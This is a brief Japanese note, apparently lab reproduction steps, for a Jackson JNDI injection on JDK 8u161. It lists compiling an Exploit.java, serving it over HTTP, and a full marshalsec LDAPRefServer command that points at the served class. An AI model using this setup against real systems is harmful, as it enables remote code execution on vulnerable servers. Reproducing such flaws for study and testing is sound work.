
jackson jndi インジェクション
jdk 8u161
windows10 1903
1. 実行したいコードを含む Exploit.java という名前の Java ファイルを作成し、コンパイルします。
2. Python または他のツールを使用して、クラスファイルと同じディレクトリに HTTP サーバーを作成します。
3. marshalsec を使用して LDAP サーバーを作成します: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit